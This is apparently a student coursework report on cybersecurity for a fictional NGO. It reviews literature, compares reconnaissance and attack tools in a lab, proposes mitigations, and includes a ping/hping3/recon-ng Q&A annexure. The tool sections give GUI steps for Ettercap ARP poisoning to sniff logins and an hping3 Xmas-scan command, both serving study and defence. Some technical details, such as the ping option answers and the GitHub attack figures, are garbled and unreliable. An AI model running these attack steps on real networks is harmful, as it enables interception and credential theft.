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[bookmark: _Toc124253797]Abstract
Throughout the world, Cybersecurity has been found in businesses and organisation. This even applies to the Lending Hands Non-Governmental Organization. With the recent small sized security breach, I have taken to write this report that will detail the ongoing research in the field of cyber security. This will include the advances, recent vulnerabilities/threats and recent defence approaches to these threats. To further analyse the threats Lending Hands could face, I have completed lab activities, found in the annexure, as well as test alternative tools. The conclusion I have reached is that there are a wide variation of vulnerabilities that Lending Hands could face, yet multiple mitigation strategies to counter these vulnerabilities, as well as strengthen their cyber security. 
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In this report I will be discussing the literature in advancements in technologies relating to cybersecurity, case studies relating to recent attacks and vulnerabilities as well as the approaches in place for defending against attacks. I will  also analyse attack tools, to then propose a strategy to mitigate these attacks. 
[bookmark: _Toc124253799]Research (1500 Words)
In this section of the report, I will be discussing the research and literature that will involve the advances, recent cyber attacks and the strategies found to defend against these attacks.  
[bookmark: _Toc124253800]Advances
According to journal author ‘A.Mathew’ recent advancements in technologies regarding cybersecurity include the use of machine learning [1]. The study he had done suggested that machine learning was efficient in addressing the cyber-security risks involved in information systems. This was done using algorithms to solve the main security issues such as the analysis of malware, IDS(Intrusion Detection System), spam detection and Android malware detection [1]. 
In comparison, author ‘Anand Handa’,conducted studies using machine learning to discover the effects of machine learning on cyber security issues [2]. They did this by using examples of malware analysis, as well as the analysis of ‘anomaly based’ intrusion detection of prevalent attacks and zero-day malware detection [2]. 
For alternative security risks, journal author ‘M. Rege’ uses machine learning to study offense and defensive activities with cybersecurity [3]. The author uses ‘predictive learning’  or ‘pattern discovery’ on a machine learning model to for example, can be used to predict IP address in the event of a DDOS(Distributed Denial of Service) attack. The author then concluded that the advancement of machine learning in cybersecurity would be of ‘vital importance’ [3]. 
Another advancement in recent literature is the analysis of federated deep learning compared to non-federated learning [4].  The analysis involved security and privacy systems based on federated learning that are applied to IoT(Internet Of Things) devices. The federated learning systems where then also analysed by the blockchain and IDS/malware systems in IoT applications [4].  The conclusion reached by the journal article authors is that federated deep learning outperforms non-federated learning  by having a high accuracy in detecting attacks, as well as assuring the privacy of data on devices [4]. 
A journal article from 2018 suggested a device authentication scheme that features algorithms can be used to defend against certain cyber-attacks, if configured correctly into a ‘serialisation chip’ [5]. The chip would be required as device can lack resources to process complex algorithms to authenticate or are not universally applied to devices [5]. 
[bookmark: _Toc124253801]Recent Threats and Vulnerabilities
Relating to the scenario given, one journal article [6] describes the recent threats that E-commerce businesses face in 2021 are common threats of credential theft, compromised/stolen devices, social engineering attacks and phishing attacks [6]. 
Another research article suggested that a emerging threat to cybersecurity is the use of AI to carry out cyber-attacks [7].They conducted an investigation into efficient the use of their attack, using techniques driven by AI [7]. In their findings they show that ‘56%’ of AI driven cyberattacks techniques were done in the access and penetration stage,’12%’ in the exploitation phase, ‘11%’ in the recognisance phase and ‘9%’ in the delivery phase [7].  The investigation also found that some cybersecurity methods are unable to mitigate and even detect AI attacks, due to how fast, complex and difference in variants in attacks.  
One recent vulnerability, according to researchers is within cloud computing [8]. Research has found that the vulnerabilities  of cloud computing are ‘unclear responsibilities and roles’, lack of enforcement of these roles, vulnerabilities within an applications as well as operating systems and non-effective procedures for physical security [8] [9]. The threats that these vulnerabilities can lead to are cloud security attacks, which  according to research can involve wrapping attacks to even malware injection attacks [8] [10]. 
Alternatively, recent research also shows that that threats and vulnerabilities that can be faced even in NGOs such as the Lending Hands could include ‘shared technology vulnerabilities’ [11]. Shared technology vulnerability involves a cloud service provider service being shared within an ‘infrastructure, application and/or platform’ [12]. The vulnerability becomes apparent when a guest OS can access  an entire system through shared levels [12]. 
Again relating to the NGO, another recent vulnerability found in research is the recurring  element of human error [11] [13] [14]. The vulnerability of human error will allow the chances of cyber-attacks increase, which will planned around the organisations errors. An increased chance of human errors can also be found where the business users are lacking in knowledge, understanding and training of business/IT systems [15] [16].  This can lead to an increase of employees clicking any malicious links that can lead to any security breaches [15].
Research also suggests that social engineering tasks can be used by attackers to gain from any human vulnerabilities [17], which include the multitude of factors that can affect organisation employees. These can involve stress, workload, experience and even age [17].These vulnerabilities can lead to the increase of social engineering attacks that be unknown to untrained employees. These attacks can involve the well-known phishing attacks, yet can also involve the use of baiting attacks, tailgating attacks, pretexting attacks, fake software attacks and email/phone scams [18]. 
Recent threats also involve potential sophisticated attacks such as keyloggers. Research suggests that keyloggers are a threat that has recently been rising. According to author ‘Waterson’ the 2020 pandemic to covid saw a 723 cases of keylogging attacks [19]. The author suggested that the recent threat, would turn to the biggest threat that be faced by organisations due to keylogging malware and screen grabbing malware [19]. Relating to Lending Hands organisation, these attacks could threaten any sensitive data shared internally. 
[bookmark: _Toc124253802]Recent Attacks
With all these threats and vulnerabilities attackers will take the knowledge of them and turn their eyes on various organisations and businesses. This section will involve recent cases of cyber attacks on organisations throughout the world. 
[image: Table

Description automatically generated]
[bookmark: _Toc124253829]Figure 1- Principles of Info Sec - 'The Most Dangerous Malware Attacks to Data'
According to author ‘Whitman’ and ‘Mattord’ [20], figure 1 contains the most ‘dangerous attacks’ to data. They will date from 1998 to 2009 and show cases such as the ‘ILOVEYOU’ virus to the most ‘recent’ ‘Conficker’ worm attack [20]. 
To look at more recent cases of cyber attacks one could at the Stuxnet attack in 2010 [21]. This attack involved the development deployment of a worm on a Iranian industrial control system, which then spread to more computer systems [21]. The worm spread when an infected USB was left within the lobby of the industrial building, which then found itself connecting to the LAN [22] [23].
Another recent attack the organisation can look at is the Marriott data breach in 2020 [24] [25] [26], or even the phishing attack on ‘Akamil’ organisation in 2019 which was aided by google translate [27]. Another recent attack is the ‘WannaCry’ ransomware attack on the NHS(National Health Service) of England in 2017 [28] [29], which could’ve been caused by the lack of training to NHS staff even with a mandatory training scheme, yet with only ‘12%’ reaching that goal in 2018 [29]. 
Another recent attack in the industry is the DDoS (distributed denial of service) attack on the US based service GitHub, which according to journal author ‘Chadd’ it is the ‘largest DDoS attack in history’ [30]. This attack saw that at least 1.35 terabytes were reached in the attack [30] [31], as well as rendering the service offline for hours [30].
[bookmark: _Toc124253803]Defence approaches/mechanisms
With all these recent threats and vulnerabilities, there are also certain approaches and mechanisms that can be implemented within the NGO for defence. 
According to research, [18] the simplest defence or mitigation strategy to social engineering attacks are having a definite security plan, which will provide employees with a ‘simulated scenarios’ and training. This would then aid them to detect and report any social engineering attacks. This strategy can also work for any phishing attacks [18].   
Further research [19] also shows that having a anti-screen capture methods to ensure that attackers can not see any real data being shared or shown on organisation devices [19]. Journal article author ‘Waterson’ also suggests that a adequate form of defence against keylogging attacks is to have a ‘kernel level’ keylogging protection methods in place [19]. 
According to National Cyber Security Centre annual review of 2020 [32], their ‘ACD(Active Cyber Defence)’ programmes can stop a range of attacks on ‘citizens, institutions and businesses’ [32] through the use of multiple services. These include:-
1.  Aiding owners of a public website find and repair common security concerns through a web checking service [32]. 
2. Prevent any access to malicious domains through a protective DNS [32].
3.  The use of a takedown service to find malicious sites and alert owners to remove them from then internet [32]. 
4. Mail checking services to ensure security of domains to further prevent spoof emails [32].
5. A vulnerability disclosure service to find and report vulnerabilities in key services [32]. 
6. ‘Host based capability’ service to detect threats on a organisation's network [32]. 
Alternative research [33] also suggests technical defences such as encryption to mask and hide any business information shared within an organisation. Further defence approaches to be used are firewalls in place to protect the organisations computer system as a ‘first line’ of defence against any cyber-attacks on the organisation [33]. Further defences would also include the use of intrusion detection systems, anti-malware software within OS’, and to relate to Lending Hang NGO,  a solid policy of physical defence to prevent any damage to information systems through human errors [33]. This would include addressing human threats such as ‘ unauthorized access, misuse and theft’ [33]. 
This then can also be applied to other attacks such as ransomware [34]. Effectively training the users on ransom ware attacks, after their information systems are set up, would effectively lower the risks of any data breaches and further ransomware attacks. 
[bookmark: _Toc124253804]Implement and Analysis(2000 Words)
[bookmark: _Toc124253805]Task 1
All lab activities completed will be show within annexure 1. 
[bookmark: _Toc124253806]Task 2
This section will include the identification of alternative tools used for each of the activities. 
[bookmark: _Toc124253807]Activity 2
Subfinder

Tool Description: Subfinder is a enumeration tool that attackers may utilise to gain passive information on subdomains and any other pieces of data. It weas written in a way that a user may have a ‘out of the box’ experience as it is easy to install and use. The main effective element being the speed of enumeration. 

Where downloaded: I downloaded the Subfinder tool on the official page for Kali Linux tools. This is because this will greatly decrease the chances of downloading any malicious software that can be used to attack my virtual network. 
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[bookmark: _Toc124253830]Figure 2
[bookmark: _Toc124253808]Activity 3
Advanced IP Scanner
Tool Description: Advanced IP Scanner is a free to use tool that is capable of analysing network scanner and local area networks . The tool is also capable of allowing users to gain access to any shared folders across a network. 


Where downloaded: The tool was download from the official Advanced IP Scanner website. This will greatly decrease the chances of downloading any malicious software that can be used by attackers [35]. 


[bookmark: _Toc124253809]Activity 4 
Hosted Scan Security
Tool Description:  Hosted Scan Security is a webtool that allows users to analyse their domains based on a URL link, network IP addresses and hostnames. Once entered the webise will deliver scan results and reports to a email that has been used to sign into the website. The tool may provide attackers insight and information about the vulnerabilites of a IP address or website. This is due to the various scans that can be performed. 

Where downloaded:  The tool that was used was on the official page of Hosted Scan. It was not downloaded as the tool is a host based tool [36].[image: Graphical user interface, application
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[bookmark: _Toc124253831]Figure 3
[bookmark: _Toc124253810]Activity 5 
Maltego
Tool Description: Malgeto is a tool available to install on Kali Linux. The tool is considered an alternative to Nessus, as it aids users to visualise the layout and architecture of an organisation’s network as well as a data mining tool in real time [37] [38]. 

Where downloaded: The Maltego tool was available to install in Kali Linux as it was a supported package. This would be preferable to installing it from any websites as that can increase risks of downloading and installing malicious software.[image: Graphical user interface, text, application
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[bookmark: _Toc124253832]Figure 4









[bookmark: _Toc124253811]Activity 6
Ettercap
Tool Description: Ettercap is a tool available on Kali Linux that can be installed and used to perform various attacks within a network. These attacks can range in variety from MiM(Man in the Middle) attacks and IP spoofing. The may sniff a network for available IP addresses and their connection which then can be put onto a target list [39]. 


Where downloaded: For my Virtual Machine in Kali Linux, Ettercap was already installed. Yet, if I were to install the tool on any device I would refer to the tool’s official page. I would do this because that would lower any chances of being vulnerable to attackers. 
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[bookmark: _Toc124253833]Figure 5

[bookmark: _Toc124253812]Task 3
[bookmark: _Toc124253813]Activity 2
Subfinder
Implementation and features: I implemented the tool as an alternative to Sublister in Activity 2 part 2. To implement I first began with installing the tool using the ‘sudo apt install subfinder’ command within Kali linux. 
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[bookmark: _Toc124253834]Figure 6
This figure shows the installation process for Subfinder.
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[bookmark: _Toc124253835]Figure 7
The figure shows the ‘-h’ command that displays the tools commands and usage. 
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[bookmark: _Toc124253836]Figure 8
This figure shows me using the tool to perform a subdomain scan on Google.com with the ‘-d’ command. 
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[bookmark: _Toc124253837]Figure 9
This figure shows the many subdomains that was outputted from the command. 
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[bookmark: _Toc124253838]Figure 10
There is and option for Subfinder to even save the outputted sub domains to a text file using ‘-o’ command, which can be used in other tools. As seen above this was done on certifiedhacker.com.  
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[bookmark: _Toc124253839]Figure 11
As seen from the figure above, another command that can be used within Subfinder, is the ability to output the available sources of subdomains [40] [41]. 
Pros: On of the pros to using Subfinder, is that it allows the attacker to quickly gather information on a website and gather any hidden domains and subdomains. This would be due to the ‘out of the box’ design of the tool. 
Cons: Cons for the tool may include the lack of sources available for the tool to perform scans more optimally. Another con is that it may not deliver detailed scans such as port scans that can be found in Sublist3r. 
Sublist3r
Pros: The pros to Sublist3r is that is much faster than other footprinting tools, as well as having effective features such as subbrute modules or port scanning [42]. 
Cons: A con to Sublist3r is that it can return few results than one can expect when running long and complex commands. Another con is that the brute for modules have features that are limited in detail. One major flaw to Sublist3r is that it is outdated which can 
Summary: In summary, Sub finder can be an effective tool if a user wants to gather information as quickly as possible, yet if they wish to gather more detailed information, they could refer to Sublist3r. 

[bookmark: _Toc124253814]Activity 3
Advanced IP Scanner
Implementation and features: 
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[bookmark: _Toc124253840]Figure 12
To begin the implementation of the tool, I first begun by going to the official site and downloading the tool. 
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[bookmark: _Toc124253841]Figure 13
The first step of the tool is to scan the entire network for available IP addresses. 
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[bookmark: _Toc124253842]Figure 14
Once the scan is complete, all of the available IP addresses are returned. Along with IP addresses, their MAC address, status and Names and manufacturer names are outputted as well. 
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[bookmark: _Toc124253843]Figure 15
As advertised, the tool  also allows me to see any files that have been shared to every user. 
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[bookmark: _Toc124253844]Figure 16
To test this, I went on the target machine and created a ‘important folder’, that is to be shared with everyone, with full control. 
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[bookmark: _Toc124253845]Figure 17
I then added a secret document to add to the folder. 
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[bookmark: _Toc124253846]Figure 18
After adding permissions to the folder, it was now visible after another scan. I was also able to open the folder, access and read the secret document. 
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[bookmark: _Toc124253847]Figure 19
With the similar tools installed on the target machine, a user on Advanced IP Scanner would be able to view and even control the targets machine. 
[image: Graphical user interface, application

Description automatically generated]
[bookmark: _Toc124253848]Figure 20
The tool also allows different resources of a machine to be scanned, when enable I will then scan again. 
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[bookmark: _Toc124253849]Figure 21
After scanning again, new information such as the NetBIOS group names have become available to me. 
Pros: The pros to Advanced IP Scanner is that it is easy to use and easy to scan networks and gain access to any folders or data that has be allowed to share across the network with full control permissions. Another pro to the tool  is that free to install and use, as it has a ease of use interface [43].  


Cons: A con to the tool is that it can be unsuitable to certain devices such as MAC and iOS. Another con is that the tool itself does have a limited amount of features, as it can have much more and detailed features such as in depth network analysis or port scanning. 

Megaping
Pros: A pro to Megaping is that has detailed features such as port scanning, IP scanning, security scanning, TCP port scanning, domain names, adapter names and more [44]. 
Cons:  A Con to the tool is that the interface is outdated, which may deter users from the tool.
Summary: In Summary, Advanced IP Scanner is a more up to date tool, yet will lack detailed features that can be found in Megaping. 

[bookmark: _Toc124253815]Activity 4 
HostedScan Security
Implementation and features:
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[bookmark: _Toc124253850]Figure 22
To begin the implementation of Hosted Scan Security, I would load the website. Once loaded I would enter a website URL that can be used for educational purposes. In this case it would be ‘www.certifiedhacker.com’ and ‘www.itsecgames.com’. 

[image: ]
[bookmark: _Toc124253851]Figure 23
Once the scan is complete, results will be sent to the email that the account for the website has been linked to . Results include the targets, scan types, levels of threats and the list of all threats to the website. 
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[bookmark: _Toc124253852]Figure 24
The dashboard of the website may also breakdown the risks to the website using bar graphs. 
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[bookmark: _Toc124253853]Figure 25
The tool can also give more detailed information via reports depending on the scan type. 
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[bookmark: _Toc124253854]Figure 26
Above is as an example of a report concerning vulnerabilities concerning ‘www.certifiedhacker.com’. Alert details will also give information about specific threats to the website. 
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Figure 27
The tool also utilises online forms of other tools such as nmap. Using the scan, I was able to detect any open ports and the risk levels they pose. 
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[bookmark: _Toc124253856]Figure 28
Further details concerning the open ports can be found in various formats. 
HostedScan Security
Pros: The pros to HostedScan Security is that it enables a user to see in detail the vulnerabilities that affect a website. The alert details will also say what attacks the vulnerabilities will lead to. Many features of Nessus is also available on Hosted Scan security. 
Cons: Scanning can only be used a limited amount of times, whereas paid premium allows you to scan an infinite amount of times. Some vulnerabilities will not appear in the scan reports, which can lead to undetected vulnerabilities that  attackers can benefit from.

Nessus
Pros: A pro to Nessus is that it is free to use as well as easy to use with little set up and configuration needed in its set up and installation [45] [46].  
Cons: A con to Nessus is that to provide further detailed features, it must go through the payment process that can be costly to small organisations. Another disadvantage to the tool is that it does not allow a detailed view of security policies of any remote systems [47]. 
Summary: In summary, HostedScan Security is a worthwhile tools that can still be used to gather information on vulnerabilities within a website. While being exploitable, details concerning the vulnerabilities within reports tell of measure to fix various vulnerabilities found. In comparison to Nessus, Nessus would be the recommended tool to gather information on vulnerabilities. 


[bookmark: _Toc124253816]Activity 5 
Malgeto
Implementation and features:
To begin the implementation of Malgeto, I followed the steps to install the tool within the Kali Linux terminal. 
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[bookmark: _Toc124253857]Figure 29
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Upon installation, I run the tool for the first time to load it. 
[image: Graphical user interface, text

Description automatically generated]
[bookmark: _Toc124253859]Figure 31
After running the program, I will choose to use the Maltego Community Edition. 
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[bookmark: _Toc124253860]Figure 32
Once I have chosen the product type for the tool, I will go to the machines tab and then press run machine. 

[image: Graphical user interface, application

Description automatically generated] 
[bookmark: _Toc124253861]Figure 33
When choosing a machine there are list to choose. The first I will try is the ‘URL to Network and Domain’.
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[bookmark: _Toc124253862]Figure 34
I then will specify the target to be ‘www.itsecgames.com’
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[bookmark: _Toc124253863]Figure 35
After clicking finish, the tool will then map out the network, gathering various details such as email addresses, IPv4 addresses, location details and phone numbers. 
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[bookmark: _Toc124253864]Figure 36
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[bookmark: _Toc124253865]Figure 37
When right clicking an entity, a user may be able to run transforms. 
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[bookmark: _Toc124253866]Figure 38
Depending on the entity type, one may be able to verify pjone numbers or use routing info on certain IP addresses. 
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[bookmark: _Toc124253867]Figure 39
Alternatively we can attempt to run another machine. In this instance I will attempt to run ‘Footprint L3’.  
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[bookmark: _Toc124253868]Figure 40
I will also attempt it on another educational based website such as ‘www.certifiedhacker.com’. 
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[bookmark: _Toc124253869]Figure 41
After clicking finish the tool may return a more detailed visualisation of the map. 
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[bookmark: _Toc124253870]Figure 42
Depending on the level of footprint, the higher will be more useful to organisations that have larger operations. If the network map is larger than expected, then the tool will appropriately label each entity according to its colour. 



Pros: One of pros for Maltego is that it offers an easy to read visualisation on the mapping of a network. This can involve relationships between various entities throughout the network, such as IP addresses, employees, groups, other websites and networks and even documents [48] [49].  

Cons: One of the cons Maltego is that it does not combine the location and names of entities. Another con is that the tool does not support translation or conversion of data from one language to another [37].  


[bookmark: _Hlk124115783]Social Engineering Toolkit
Pros: The pros to the social engineering toolkit is that the source code is widely available, which can lead to many new features potentially appearing on the tool. Another pro to the tool is that there are many social engineering attacks available on the toolkit such as penetrating testing, as well as attack methods such as phishing or baiting attacks [50]. 


Cons: A con to the social engineering toolkit is that it is not supported on Windows, which may prevent certain user from learning and defending against attack methods within the toolkit. 

Summary: In summary, Maltego is an effective tool for social engineering as a large amount of information can be gathered about an organisation, from IP addresses to social groups within an organisations network. In comparison to alternative tools such as Social Engineering toolkit, it is a good foundation for an attackers hacking phase. The tool can also be effective or organisations like ‘Lending Hands’ to best defend against such vulnerabilities detected with the tool [51] [52]. 


[bookmark: _Toc124253817]Activity 6
Ettercap 
Implementation and features:
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[bookmark: _Toc124253871]Figure 43
To begin the implementation of Ettercap, I began searching for the tool within Kali Linux. 
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[bookmark: _Toc124253872]Figure 44
Upon launching the tool I set the network to sniff as ‘eth0’ and to sniff on start up. 
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[bookmark: _Toc124253873]Figure 45
To gain hosts, I press the additional information menu -> hosts and then scan for hosts. 
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[bookmark: _Toc124253874]Figure 46
Upon the completion of the scan, I was able to detect 2 virtual machines with their IP addresses. 
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[bookmark: _Toc124253875]Figure 47
To learn more information, I may go into the additional information menu and then view connections. 
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[bookmark: _Toc124253876]Figure 48
When the connections have been acknowledged, I may be able to add the IP addresses to 2 target lists for future attacks. 
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[bookmark: _Toc124253877]Figure 49
When viewing the connections I may also resolve any IP addresses. 
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[bookmark: _Toc124253878]Figure 50
To now attack the targets, I will click the MiM menu and then proceed to run a ARP Poisoning. 
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[bookmark: _Toc124253879]Figure 51
Before running the attack, I can enable the attack to sniff remote connections. 
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[bookmark: _Toc124253880]Figure 52
Once the attack has run, the tool will then acknowledge that the two target groups are now being targeted with ARP Poisoning attacks. 
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[bookmark: _Toc124253881]Figure 53
To confirm if the attacks are working as intended, I may launch wireshark within Kalli Linux. As shown in the figure above, the tool is now send ARP packets to both of the targets. Should one of the machines now open a website login page that does not have a HTTPS encryption, then attackers may use this to gather username and password information. 
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[bookmark: _Toc124253882]Figure 54
Alternatively, the tool also supports other attack methods such as NSP Poisoning and DHCP spoofing. 

Ettercap
Pros:  The pros of Ettercap is that allows for scanning of IP addresses within a network making it an effective tool for reconnaissance as well as hacking. The tool allows its user to analyses the protocols and connections made within a network.  The tool allows for multiple methods to attack such as ICMP redirection or Port stealing. Another pro to the tool is that it is completely free to use and easy to download [53]. 

Cons: The disadvantages the tool has is that is quite outdated compared to other hacking tools such as Responder, especially in terms of its GUI. The tool is unsupported on other platforms such as Windows, which will limit the amount of user that may encounter the tool. 

Responder
Pros:  A advantage to Responder is that it comes inbuilt into Kali Linux’s packages, meaning it is easy to download and use. Another pro to Responder is that it provides effective methods of attack such using LMNR poisoning against target machines and gathering password hashes [54]. 

Cons: A con to the responder tool is that it can sometimes result in a unreachable device when attempting to run any penetration testing.  Another con to the tool is that it cannot respond to requests that have been made within the ‘Analyse’ mode [55] [56]. 

Summary: In summary, both tools are effective in attacking systems and then gather information such password hashes, that can also be used further with tools such as Cain or Rainbow crack to crack the hashes from the systems. 
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The Lending Hands NGO could be exposed in their technical security which attackers can exploit. To prevent these attacks, I will propose strategies that will enable Lending hands to strengthen  any cybersecurity within their organisations. 
[bookmark: _Toc124253819]Lending Hands Technical weakness
Within the Lending hands organisation, there may be technical weaknesses within their access control systems. This can involve the actions of tailgating from unauthorised personal, where employees will hold doors open out of common courtesy [57]. Mitigation to this would involve the use of mandatory ID badges for all employees in the organisation [57]. This would improve their security significantly as Lending Hands shares a workspace with 3 other businesses. Other mitigation strategies might involve the use of fingerprint scanning to better increase the security of Lending Hand’s workspace [58].  
One Technical weakness that Lending Hands may have is the usage of domain controllers. This might be due to unauthorised access from users through compromised credentials belonging to users and admins [59] [60].This can even include the addition of guest domain users to local administrator groups [60].The mitigation for this would be to remove any guest users from local administrator groups or at least have there for a short period of time [60].  Mitigation strategies towards domain controller threats include the backing up of data, learning from any vulnerabilities detected with the domain controls and make sure that domain controllers do not use browsers as this could lead to malware being downloaded [61]. 
[bookmark: _Toc124253820]Potential security weaknesses and mitigation
Through the lab activities, Lending Hands may have additional technical weaknesses that require for them to strengthen their cybersecurity. As mentioned in the literature review, training staff members to be aware of any links sent to them, verify before clicking, check website security statuses and pay attention to the punctuation of URL and email links [62].To make defence against foot printing attacks stronger, training can even include the examination of a HTML source as well as cookies before clicking on any links or logins within a website [63].Protection against malicious websites through phishing may even be mitigated through certain tools similar to AntiPhish or even tools encountered in the lab activities such as Netcraft that provide anti-phishing services against malicious websites [64] [65].Another mitigation strategy mentioned in the literature review is establishing defence plans against social engineering attacks [18]. 
Other methods that may prove effective to prevent any footprinting measures is to  delete any old or outdated software that can be exploited by attackers to gain information about the organisations network [66]. Other mitigation strategies may involve having less information being exposed about the organisation on the internet, as these details can be traced from public websites or work laptops [67]. 
To better defend against scanning attacks, research suggest that simply installing firewalls to better detect and cease any port scans, implementation of TCP wrappers or self-scanning tests to discover vulnerabilities in the network [68]. This can even be done using tools discovered in the lab activities such as Nmap or even an alternative tool such as Advanced IP Scanner [69]. Another mitigation to vulnerabilities is to establish IPS(Intrusion Prevention Systems) and IDS(Intrusion Detection System) within the organisations [70].
To test out these systems tools such Maltego or Social Engineering Toolkit may be used to measure the strength of these systems [70]. To further defend against social engineering attacks, Lending Hands may have to better strengthen their password polices in the workplace. This would involve using multi factor authentication, greater password complexity, a diversity of passwords and even changing password once a year [71].
A mitigation to vulnerabilities is to find the vulnerabilities themselves [72]. They can often include:-
· Any misconfigured devices leaving the network open to attackers
· Protocols left unsecured which leaves the network open to sniffing tools
· Any systems left unpatched, which may be due to neglection of technicians. This may lead to attackers inserting malicious software into the network. 
A mitigation strategy to better defend against social engineering attacks involves having steps to verify a user that shares any files or links within or to the network [73]. This involves verifying emails by looking at the headers, observing the hyperlink that has been sent or ask for proof of identity [73].  Another method of mitigation for social engineering attacks include the hesitation when faced with a sense of urgency when being requested to click any links or download any malicious hardware [73]. 
Once necessary mitigation strategy against social engineering attacks is to implement spam filters in the organisations email software. Another strategy is also to ensure that the various system defences are enabled on each machine. This includes the activation of firewalls, the installation of any anti-virus software, ensure the verification of HTTPS websites and login pages, ensure that the organisations browser of choice has enhanced protection enabled [74].
Some research suggest that one mitigation strategy for defences against attacks such as ARP spoofing can include the use of a Spoof Detection System in place at the organisations workplace, which may involve the use of biometric access system [75] [76]. To prevent other forms of attacks such as ARP Poisoning, research suggest that simply verifying using tools such as arpwatch of X-ARP that can monitor a network and create alerts to member of staff with administrative privileges [77].
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Discussed in the lab activities, A good mitigation strategy can include the implementation of tools such as Wireshark, as they may detect any ARP or LLMNR poisoning attacks, easily visualize them for users and filter the information captured [78]. Another effective mitigation against LLMNR poisoning attacks are ensuring to disable LLMNR, NBT-NS and ensuring that there is a network traffic filtration in place [79].
[bookmark: _Toc124253821]Conclusion 
In conclusion, the Lending Hands NGO has a few notable technical weaknesses. Much more vulnerabilities can be identified with the use of tools within the lab activities and alternative tools used. Despite this, there are many mitigation strategies that can be implemented to further secure their cyber space. 
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Part 1 
1. What is the outcome of the above two ping commands? What is the reason for the two outcomes?  
Answer= The outcome for the two commands are that both failed to ping. The reasoning for this is that 1472 and 1743 are bad values for the “-I" command as it means to apply TTL or Time to Live setting to the ping. The outcome for the commands states that the range for the -I command must be 1 to 255. Reference=  https://www.howtogeek.com/355664/how-to-use-ping-to-test-your-network/  
2. By issuing the -i command, you are setting the TTL to a certain value to check the time span of the packet. By setting the TTL to 1, 2, 4, 5, 9 etc what piece of information did you gather? 
Answer= By issuing the -I command I would change the number of hops the packet will send. Using –I 5 to –I 12 resulted in the packet expiring in transit, yet when using -I 14, the IP then sent a reply meaning it took 14 hops for the packet to send to the IP.   
Evidence= [image: Text
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3. Do a research in the internet and find out what are the options, you can use with ping command and what are their functionalities with suitable example?  
Answer= Other ping commands can include –r which detail the amount of hops you want to perform in a ping. Another command for example is using the –s command which will determine the number of hops you want to be timestamped.  
Evidence= [image: Text
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 Reference= https://www.whatsupgold.com/blog/it-basics-the-ping-utility-explained https://www.paessler.com/it-explained/ping https://www.lifewire.com/ping-command-2618099  
4. By issuing the above steps, you may get the records of domain from an authoritative server. What is so important in getting the information like this?  
Answer= The reason that it is important in getting a server this way as it will enable any administrator to troubleshoot any connection issues a network may have. This can also help the discovery of any vulnerabilities that attackers can take advantage of.  
Reference= https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ping .  
5. How can we prevent our Infrastructure from these kinds of attack? Could you reflect your reviews in a short description with appropriate citations? Why do we get an output like this?   
Answer= The number of ways one can prevent these kind of attacks is to establish firewalls. 
Reference= https://purplesec.us/prevent-ping-attacks/  
Part 3 
1.  What information did you gather? Did you get the result below? If so, why? If not, what would be the reason for an outcome like the below one?  
Answer= The result I received was the one shown below. The reasoning for this is that the website's coding within the syntax may be may have spelling mistakes and or it is offline.  Reference= https://www.ionos.co.uk/help/hosting/troubleshooting-for-php/what-is-a-parse-error/#:~:text=If%20the%20PHP%20code%20contains,missing%20brackets%2C%20or%20extra%20characters.   
Evidence= [image: Graphical user interface, application
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2. What information did you gather? 
Answer= The information gathered was phone numbers, fax details, metadata, links and eamil addresses associated with the target website. 
Evidence= [image: Text

Description automatically generated with medium confidence] 
Part 4 
9.  What information did you gather? 
Answer= The information I gathered on one of the emails associated with the target website is an IP address, what mail server it is running, what port it is running on and if there is a HTTP and FTP server running. Additional information gathered is the location of the server and all hop IP addresses and names.  
Evidence=  [image: ] 
Part 5 
1.  Search internet for TCPView Software. List out the websites which offers a download. Which website/ link do you think is safe to download the software? Why? 
Answer= The link I downloaded the tool from was the official link for tool, as this decreased the likely hood of downloading malicious software.   
2.   How many Endpoints are listed? How many are Listening? How many Endpoints are Established? 
Answer= The number of endpoints that are listed are 88. The number of endpoints that are listening are 23, while the number of endpoints established are 21.  
Evidence=[image: Graphical user interface
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3.  Open any browser and browse any website. Eg: google.com, cisco.com etc What happens in the TCPView window?  
Answer= The TCPView window will add more endpoints and determine which are established and listening. For example, since I had google open, when running TCPView, the endpoints were 88, whereas they would be lower if the browser were closed.  
Evidence= [image: Graphical user interface
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You could see a lot of colors highlighting in the tool. What is represented by the colors? Close a process (my choice would be the web browser) and see what happens? 
Answer= When closing a process, such as google chrome, the endpoints decreased to 46, while 2 were established and still 23 listening.  
Evidence=[image: Graphical user interface, table
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Part 6 
1. What information did you gather?  
Answer= The information I gathered was host information with 90 total hosts found.  
Evidence= [image: Text
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2. Do research on the internet and find out other modules to find out more hosts. Document them with their operations, functions, and screenshots. 
Answer=  
Evidence=[image: A screenshot of a computer

Description automatically generated with low confidence] 
 [image: Text

Description automatically generated with low confidence] 
[image: A screenshot of a computer

Description automatically generated with low confidence] 
[image: Text

Description automatically generated] 
Reference= https://hackertarget.com/recon-ng-tutorial/ https://hannahsuarez.github.io/2017/recon-ng-modules/  
[bookmark: _Toc124253825]Activity 3 
Part 1 
1. What is the other method to send an ICMP packet? 
Answer= Another method to send a ICMP packet, is to use to ping function which will send a ICMP echo request. Reference= https://linuxhint.com/understanding-icmp-echo-requests/#:~:text=Sending%20an%20ICMP%20Echo%20Message,it%20to%20the%20specified%20device.   
2. What are the other TCP flags? List out the commands to send other TCP flags, execute the commands and capture the outputs. Write a brief note to reflect your understanding on using HPING to send TCP flags. Include what is the purpose, what intelligence did you gather etc 
Answer= Other commands that can be done are commands such as “hping3 -F –P -U 192.168.100.6 -p 80 –c 1”. This will test a port number 80 and perform the ‘XMas scan’. The information I gathered using this command was that port 80 was closed as it replied with a RA flag.  
Evidence= [image: Text

Description automatically generated] 
 
Reference= https://iphelix.medium.com/hping-tips-and-tricks-85698751179f  
3. Based on your observation and research done so far with HPING tool, what is your understanding about the usage of this tool? Could you list out the pros and cons of using this tool? 
Answer= Based on my observation the hping3 tool can be effective in the reconnaissance phase of hacking. The various commands can retrieve useful information about a network such as whether it is open or not and what are the response times.  
Reference= https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7506579/  https://www.techrepublic.com/article/solutionbase-see-what-hackers-see-with-the-hping-utility/  
4. By sending this UDP packet, what did you observe at the Target machine? Demonstrate the steps of Observation here. (Document the Outcome) 
Answer= What I observed on the target machine was a tcp packet sending an acknowledgement packet from a different ip address. The length of the packet was 0.  
Evidence= [image: Graphical user interface, text

Description automatically generated with medium confidence] 
 
5. Observe the TCP Packets in the Target using Wireshark. Could you locate the TCP Packets? (Document the Outcome) 
Answer= Using wireshark on the target machine, I was able to observe the tcp packets being sent from the attacker machine.  
